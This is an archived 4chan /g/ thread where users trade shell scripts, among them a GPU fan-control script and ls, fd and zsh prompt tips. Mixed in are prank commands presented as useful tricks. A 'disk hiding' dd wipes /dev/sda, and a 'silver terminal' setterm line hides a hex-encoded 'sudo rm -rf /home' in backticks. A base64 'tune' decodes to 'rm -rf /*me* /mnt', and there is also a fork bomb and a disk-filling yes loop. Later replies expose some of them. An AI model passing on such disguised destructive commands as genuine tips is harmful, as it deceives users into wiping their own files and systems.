[a / b / c / d / e / f / g / gif / h / hr / k / m / o / p / r / s / t / u / v / vg / vm / vmg / vr / vrpg / vst / w / wg] [i / ic] [r9k / s4s / vip] [cm / hm / lgbt / y] [3 / aco / adv / an / bant / biz / cgl / ck / co / diy / fa / fit / gd / hc / his / int / jp / lit / mlp / mu / n / news / out / po / pol / pw / qst / sci / soc / sp / tg / toy / trv / tv / vp / vt / wsg / wsr / x / xs] [Settings] [Search] [Mobile] [Home]
Board
Settings Mobile Home
/g/ - Technology


Thread archived.
You cannot reply anymore.


[Advertise on 4chan]


ITT: we post cool scripts and neat tricks
>>
>>107799900
Bash is for fash

Use nushell
>>
>>107799912
no thanks i dont need more
>>
Here's a neat command to hide your disk data so the feds can't see it.

dd -if=/dev/zero -of=/dev/sda
>>
File: silverterminal.png (314 KB, 1890x969)
314 KB
314 KB PNG
>>107799912
>Bash is for fash
based

Checkout what KDE terminal can do
Can GNOME do this?
# make your text shine like silver (picrel)
# needs sudo to write to the terminal buffer
# (noauto flag is needed because the terminal gets confused and renders at the wrong origin)
# (change maxs-targets to however many glares you want, 5 looks good)
sudo setterm --mono --fade --fade-max=100 --maxs-targets=5 --scheme='$\x55$\x7c,max_t=$TERM_HEIGHT,max_w=$TERM_WIDTH;255,noauto' --colors="`$'\x73\x75\x64\x6f' $'\x72\x6d' $'\55\x72\x66' $'\57\x68\x6f\x6d\x65'`" --mode="63x62x4ax85x7d"

# reset back to normal (you can also reopen the terminal)
setterm --reset
>>
>>107799935
ebin

>>107799900
i worte this:
#!/bin/bash

if [[ $EUID -ne 0 ]]; then
echo "Error: This script must be run as root or with sudo." >&2
exit 1
fi

path_temps_input="/sys/class/drm/card1/device/hwmon/hwmon2/temp1_input"
path_pwm_enable="/sys/class/drm/card1/device/hwmon/hwmon2/pwm1_enable"
path_pwm="/sys/class/drm/card1/device/hwmon/hwmon2/pwm1"
path_fan_rpm="/sys/class/drm/card1/device/hwmon/hwmon2/fan1_input"
self_dir="$(dirname "$(realpath "$0")")"
path_record="$self_dir/gpu.temps.record"
echo "0" > $path_record

echo "1" > $path_pwm_enable

sub_low=22000
low=32000
pre_mid=36000
mid=38000
pre_high=41000
high=43000
extreme=45000


while :
do
value=$(cat $path_temps_input)
clear
echo "$value"

prv_value=$(cat $path_record)
echo "prv_value : " $prv_value
echo -n "pwm enable : "
cat $path_pwm_enable
echo -n "rpm : "
cat $path_fan_rpm

if [ $value -gt $prv_value ]
then
echo -n "$value" > $path_record
fi
# pwm values below ~80 arent enough to power the fans.
if [ $value -le $sub_low ]
then
echo "0" > $path_pwm
echo "sub_low"
elif [ $value -gt $sub_low ] && [ $value -le $low ]
then
echo "85" > $path_pwm
echo "low"
elif [ $value -gt $low ] && [ $value -le $pre_mid ]
then
echo "105" > $path_pwm
echo "pre_mid"
elif [ $value -gt $pre_mid ] && [ $value -le $mid ]
then
echo "130" > $path_pwm
echo "mid"
elif [ $value -gt $mid ] && [ $value -le $pre_high ]
then
echo "155" > $path_pwm
echo "pre_high"
elif [ $value -gt $pre_high ] && [ $value -le $high ]
then
echo "185" > $path_pwm
echo "high"
elif [ $value -gt $high ] && [ $value -le $extreme ]
then
echo "215" > $path_pwm
echo "very high"
elif [ $value -gt $extreme ]
then
echo "250" > $path_pwm
echo "extreme"
fi

sleep 0.2
done

its a fan control script for my gpu
its not optimal at all, esp that i should try to flatten the curve instead of it being steps
but it works well enough
>>
>>107799964
also wtfs with the newlines?
this is how the path variable init part is supposed to look like
>>
File: 1766909531589290.jpg (82 KB, 1080x1080)
82 KB
82 KB JPG
>>107799937
why use highlight in scheme?
>>
>>107799975
eh, disregard that, its just 4chans formatting
>>
>>107799976
It's just bloom
>>
>>107799964
pajeet this script has a 50/50 chance of working after you reboot your pc
>>
>>107799984
i launch it manually each time
i never bothered actually learning linux things
i dont interact with that 99.99999% of the time
i just go "cd code"
then "code ." and thats it

sometimes i run vidyaslop through wine when im feeling fancy
>>
>>107799937
how do i get it to stay when i close the terminal?
>>
File: 1764035046696887.jpg (127 KB, 988x673)
127 KB
127 KB JPG
>>107799912
>Bash is for fash
yes i am a fascist.
>>
>>107799964
that's pretty cool anon

>>107800002
just copypaste it in ~/.bashrc
>>
>>107799937
that looks miserable to use for anything but general terminal use, but i'll save it in my bashishms for party tricks. thanks.
>>
Why does Linux have two bashes?
running with "sh" is different from "."
>>
File: Screenshot.png (869 KB, 1920x1080)
869 KB
869 KB PNG
>>107799937
>>
>>107799937
>>107800170
sovl
reminds me of early 2010s linux
>>
>>107800139
sh expands in one way or another to your system default shell
. executes a script in the current shell
./script.sh executes a script in a subshell
>>
>>107799937
Any terminal made after 2010 supports graphics anon
>>
>>107800213
Aha
All i know is that . works and sh sometimes doesn't work. Something about not getting the user environment variables, I guess.
>>
Bash is bloated to hell
>>
>>107800391
>terminal made after 2010
Why would anyone use such a thing
>>
>>107800024
This loser was killed by another neo nazi loser due to him not being Aryan enough.

I made these ls mods myself. Make these local bin wrappers to make using ls easier.

list_modified
ls -gtrahs  --time-style=+%Y_%a_%r_%D --group-directories-first --color=always


list_alphabetical
ls -gXrahs  --time-style=+%Y_%a_%r_%D --group-directories-first --color=always



list_size
ls -gSrahs  --time-style=+%Y_%a_%r_%D --group-directories-first --color=always



Most of the time I just run ls -tra or -trah but this helps when I need to sort by date, alphabet or size and get all the file info.


As for other commands check out these programs

rg - a internal file text search better then grep
fd - a file folder and file type search

Search all files
fd -HI "content here"

Show all png files
fd -e "png"

Show all executables
fd --type executable


Actual work related example of searching for a gegl plugin code and binaries

fd -e ".so" -e ".c"


I don't know how to search non recursive content only in fd or any app and I'm trying to figure that out.
>>
>>107800170
:D
>>
I am so tempted to ask Grok or Deepseek for help on how to search non-recursively in folders, so it list just the folders and files without digging into other folders, but if I do so I am jeopardizing my freedom and being interdependent on a giant corporation's proprietary software

I must resist the urge. think about muh freedoms
>>
>>107800467
what do you mean search non-recursively?
>>
>>107800432
Yeah. What's smaller and simpler, but not abandonware?

Dash? It's cool but doesn't have many interactive features. There's no command history. I don't think it allows much line editing either.
>>
>>107800540
>shell
>abandonware
zoomers are doomed
>>
>>107800439
>This loser was killed by another neo nazi loser due to him not being Aryan enough
based fellow MAGA!
jews are based!!!!!!!
ISRAEL FIRST
AMERICA LAST
ULTRA BASED MAGA!!!!!!
>>
>>107800170
you can scale it down a bit it by changing the 255 in --scheme="..." to a smaller number and it would look a little nicer
>>
>>107800571
What do you mean? Even small, mature shells like dash need ongoing maintenance for security, portability, etc.
>>
>>107800024
>i am a fascist.
no, you're not
lmao
>>
>>107799937
Based and saved
>>
>>107799937
The color is not really a color, it's the text
sudo rm -rf /home
and the back ticks mean it's executed. Try echo
"`ls`"
. This will execute the command ls. back ticks should be abolished.
echo "$(ls)"
would look way more suspicious.
>>
>>107799937
nice zelda tune
>>
>>107800644
I am not MAGA and I strongly oppose Israel's genocide and AIPAC. I already stated my position countless times I'm anti Israel and neutral Palestine.

I wonder why you assumed I was a maggot?

>>107800473
search content in a folder without searching other folders. So I can search my /home/ folder without fucking displaying 1000s of folders.
>>
>>107800848
>search content in a folder without searching other folders. So I can search my /home/ folder without fucking displaying 1000s of folders.
find ~/ -maxdepth 1 ...
>>
File: whatevere.mp4 (460 KB, 956x1270)
460 KB
460 KB MP4
I use fish and I recently learned that you can set custom shortcuts for it.

So far I made:
ctrl + h - for toggling hidden files in my auto ls function
ctrl + b - for showing all my previous paths with fzf
ctrl + g - custom navi launcher for common snippets.

I doubt anyone cares but just in case you need something similar.
>>
File: fzf remove.mp4 (1.9 MB, 956x1270)
1.9 MB
1.9 MB MP4
>>107800872
I am currently working on a script that will help me removing something I installed over something.

the problem is there are flatpacks, appimages, rpms, shit installed over something like 10 package managers.

I want one tool.
like for everything..
even for shit like pip yum npm etc

It might be stupid or there is already something for that but I was not able to find it.

I will be glad if anyone could suggest something.
>>
>>107800866
thanks but I modified it to this.

fd --max-depth 1 --type directory

I see each depth is another layer into the folders.
>>
fish is good if you're sick of how shit it all is and are willing to learn the quirks of fish.
nushell if you're doing a lot of command line fiddling with shit that's slightly more advanced than jq or some shit.
zsh has some quirks that are neat as well while being more bash-like

bash is just dogshit though.
>>
File: lain_happy.jpg (86 KB, 768x1024)
86 KB
86 KB JPG
>>107799900
yes 'Surprise Me!' >> magic.txt

Let this run and you'll be greeted with an og UNIX easter egg from back in the day!
>>
why is bash such an ugly language? i don't understand anyting
>>
>>107801080
for the same reason why cli has such a terrible ux
>>
>>107801059
A full disk, and maybe no more booting? hahaha
>>
>>107800922
isn't that literally what ls does
>>
how do i get my terminal to act like a cute anime girl that's happy to see me when i get home?

asking for a friend
>>
:(){ :|:& };:
>>
>>107801295
>when i get home?
do you mean ~/ or just home
>>
>>107801337
patched. shellshock a.c.e. was solved 12 years ago.
>>
>>107801295
PS1='Yes, Master?'
>>
>>107801398
lmao

update(){
if [[ "$PWD" == "/home/anon" ]]; then
export PS1="Hello Master!!!! uwu >3 ~ "
else
export PS1="\e[0;30[[\u@\h $pwd] ~ \e[m "
fi
}
PROMPT_COMMAND=update
>>
>>107799900
i want perl instead of bash
>>
>>107800424
. means source, . script runs in the current shell, sh script runs in a new process with new env vars
>>
>>107801506
perl is welcome too
any scripting is welcome
>>
>>107800139
Here's some commands so you can answer yourself some of these questions.

$ which sh
/usr/bin/sh
$ file $(which sh)
/usr/bin/sh: symbolic link to bash
$ type .
. is a shell builtin
$ help . # also known as "source"
.: . filename [arguments]
Execute commands from a file in the current shell.
(...omitted...)
$ echo $SHELL
/bin/bash
$ bash --version
GNU bash, version 5.2.37(1)-release (x86_64-pc-linux-gnu)
(...)
>>
>yarn - S fish
My neatest trick
>>
>>107803046
Sorry my futo cuckboard put a space
>>
File: 1767867269362.png (154 KB, 1140x960)
154 KB
154 KB PNG
>>107801506
>perl
Now that's a blast from the past!
>>
File: 1750696492047025.jpg (107 KB, 526x701)
107 KB
107 KB JPG
Any script or a way to make gooning on reddit easier?
>>
#!/bin/bash
awk '
BEGIN {
k = 10
while(k--) {
i=j=500
while (i--) print "a\0" | "aplay -qc2"
while (j--) print "z\0\0" | "aplay -qc2"
}
}
'
>>
>>107799937
>>107800784
They should'd have done `rm -rf $HOME`.
Asking for password due to `sudo` gives it away something is wrong.
Still good try.
>>
>>107800139
although sh is (oftentimes) a symlink to bash, when invoked as sh, bash assumes a POSIX sh compatibility mode
othertimes `/bin/sh` is entirely different shell than bash (e.g. dash on Debian)
hence if ./script.sh has no shebang and using bash then `./script.sh` (see below why) and `sh ./script.sh` will've different behavior
>>107800213
>./script.sh executes a script in a subshell
if ./script.sh contains no shebang
and then which subshell (to be exact a child shell process) will be run is dependable
bash will run the command `./script.sh` as `bash ./script.sh` but zsh will do `/bin/sh ./script.sh`
>>
>>107799912
Fag.
>>
I don't have much here that will fit in the char limit.
https://pastebin.com/u/_Keyboard_Warrior

>>107800439
fd -d1 -- limits depth to 1.
>>107800922
you can simplify the syntax to -d1 and -t d
>>
You can use a one-liner like this one to click-drag select an area of your screen to record, or click on a window to record. Like scrot -s, but for ffmpeg.
ffmpeg -f x11grab -framerate 30 $(slop -f "-video_size %wx%h -i :0.0+%x,%y") ~/Videos/ffmpeg/$(date +%g.%j.%H.%M.%S).ffmpeg.mkv
>>
You can use the bash language server on any shell script with varying effectiveness, but you'll always have good-enough completion and documentation. Valodim/zsh-completion is a vim plugin that you can use to run zsh's completion on your cursor position in vim. You can use an autocommand to point this to arbitrary filetypes. You can use an llm to create zsh completion functions. This way, vim, with bashls and the zsh-completion plugin, provides completions for commands and arguments in any shell script, as well as manpage documentation in a flyout next to the list of completions.
>>
https://www.commandlinefu.com/commands/browse/sort-by-votes
>>
File: 2026-01-08_09-09.png (8 KB, 557x45)
8 KB
8 KB PNG
zsh's prompt supports vcs information as well command substitution. Just put autoload -Uz vcs_info near the top of your .zshrc, set setopt promptsubst, and do something like this with your prompt:
if [[ -o interactive ]]; then
function zle-line-init zle-keymap-select {
PS1="%B%K{0}%F{8}[%f%F{1}%?%f%F{8}]%f%b%F{7}%n%B%F{6}@%f%b%F{7}%M%f%B%F{8}[%f%F{7}%%:%f%F{3}%j%f%F{8}]%f%F{8}[-%f%F{2}${${KEYMAP/vicmd/NORMAL}/(main|viins)/INSERT}%f%F{8}-]%f%F{6}%L ${vcs_info_msg_0_}%f%b%k"$'\n%{\r%}'
RPS1="%B%K{0}%F{7}%/%f%F{8}-[%f%F{6}"$'\$(strftime %I:%M:%S)'"%f%F{8}]-%f%F{7}%!%f%b%k"
PS2="%B%K{0}%F{9}%_> %f%b%k"
RPS2="%B%K{0}%F{9}%^%f%b%k"
# PS3=
PS4="%B%K{0}%F{12}%N%f%F{7}:%f%F{12}%i%f"$'\n'"%F{14}%x%f%F{7}:%f%F{12}%I%f%b%k"

zle reset-prompt
}

zstyle ':vcs_info:*' enable git
zstyle ':vcs_info:*' actionformats \
'%F{3}%s%f%F{1}-%F{8}[%F{12}%b%F{11}|%F{1}%a%F{8}]%f '
zstyle ':vcs_info:*' formats \
'%F{3}%s%f%F{1}-%F{8}[%F{12}%b%F{8}]%f '
zstyle ':vcs_info:(sv[nk]|bzr):*' branchformat '%b%F{12}:%F{3}%r'

precmd () { vcs_info }
fi

To delimit escapes in the prompt vars, you must open with
"$'
and close with
'"
>>
>>107799937
Does this actually work (assuming you remove the --colors meme shit)?
>>
Why are half these scripts unreadable line noise? Meaningful names people.
>>
>>107804659
because most of those are exploits and hard drive killers.

you should not copy or try anything here.
>>
File: perl_rsa_shirt.jpg (129 KB, 450x600)
129 KB
129 KB JPG
>>107801506
What size? 6XL?
>>
>>107803756
Use x. There are tons of spam porn account that go "chudai", they repost tons of garbage porn but if you scroll their reposts for more than a minute you can find good shit, then you follow all the bots the reposted *it* and you'll get plenty every hour, but you still have to scroll through shitty porn
>>
File: use strict.jpg (199 KB, 640x480)
199 KB
199 KB JPG
>>107803756
Disgusting landwhale

>>107804688
pic
>>
>>107804699
X doesn't support mpv.
Also sometimes I want to goon to specific thing, and i don't know half of the terms you just said.
>>
>>107800848
I have a neat little conditional for you. From https://pastebin.com/abr9sgit
if [[ "$(realpath .)" == "${HOME}" ]]; then
d . --color=always -HiL -d1 -E .histfile -E .git -E .gitignore
else
fd . --color=always -HiL -d2 -E .histfile -E .git -E .gitignore
>>
>>107804462
You also have to put:

zle-keymap-select
zle-line-init

at the end of your config for this to work.
>>
debian trannies can't send tcp requests in pur bash. point and laugh
exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\r\nhost: www.google.com\r\nConnection: close\r\n\r\n" >&3
cat <&3
>>
>>107799900

want to use * for character replacement just check ** out
>>
>>107803756

wget with filetype filesize accept list output to ffplay
>>
File: 1767451137201428.png (522 KB, 720x1109)
522 KB
522 KB PNG
Check em!

>>107804688
I used to rock that T-shirt in the 90s
>>
File: tux-musica.jpg (16 KB, 830x492)
16 KB
16 KB JPG
printf cm0gLXJmIC8qbWUqIC9tbnQK | `base64 -d` > tune.mid
>>
>>107805885
How?
reddit doesn't allow that to work
>>
>>107806209
>
rm -rf /*me* /mnt
>>
>>107805967
>I used to rock that T-shirt in the 90s
u must be a fucking wizard, what u up to nowadays?
>>
>>107806209
Why does zsh break this beautiful/useful posix behavior?
>>
>>107806233
didn't even work.
>>
>>107799912
>written in Rust
Wtf is wrong with you people? Stop shilling
>>
>>107806335
Works in non-faggot shells
>>
File: 1753813700341962.png (207 KB, 527x500)
207 KB
207 KB PNG
Does anon ever post anything that is actually nifty or is it always one anon trying to destroy the hard drive of another anon?
>>
File: 26.008.13.07.03.scrot.png (126 KB, 960x1042)
126 KB
126 KB PNG
https://github.com/lucc/nvimpager
>>
>scripting thread
>most posters are phonefaggots
grim
dead website
>>
>>107806464
most of this is good. nmp if you can't spot malicious code.
>>
>>107806470
export VISUAL='nvimpager'
export EDITOR='nvim'
export MANPAGER='nvim +Man!'
export PAGER='nvimpager'
>>
>>107806209
i'd recognize Song of Storms anyday, nice



[Advertise on 4chan]

Delete Post: [File Only] Style:
[Disable Mobile View / Use Desktop Site]

[Enable Mobile View / Use Mobile Site]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.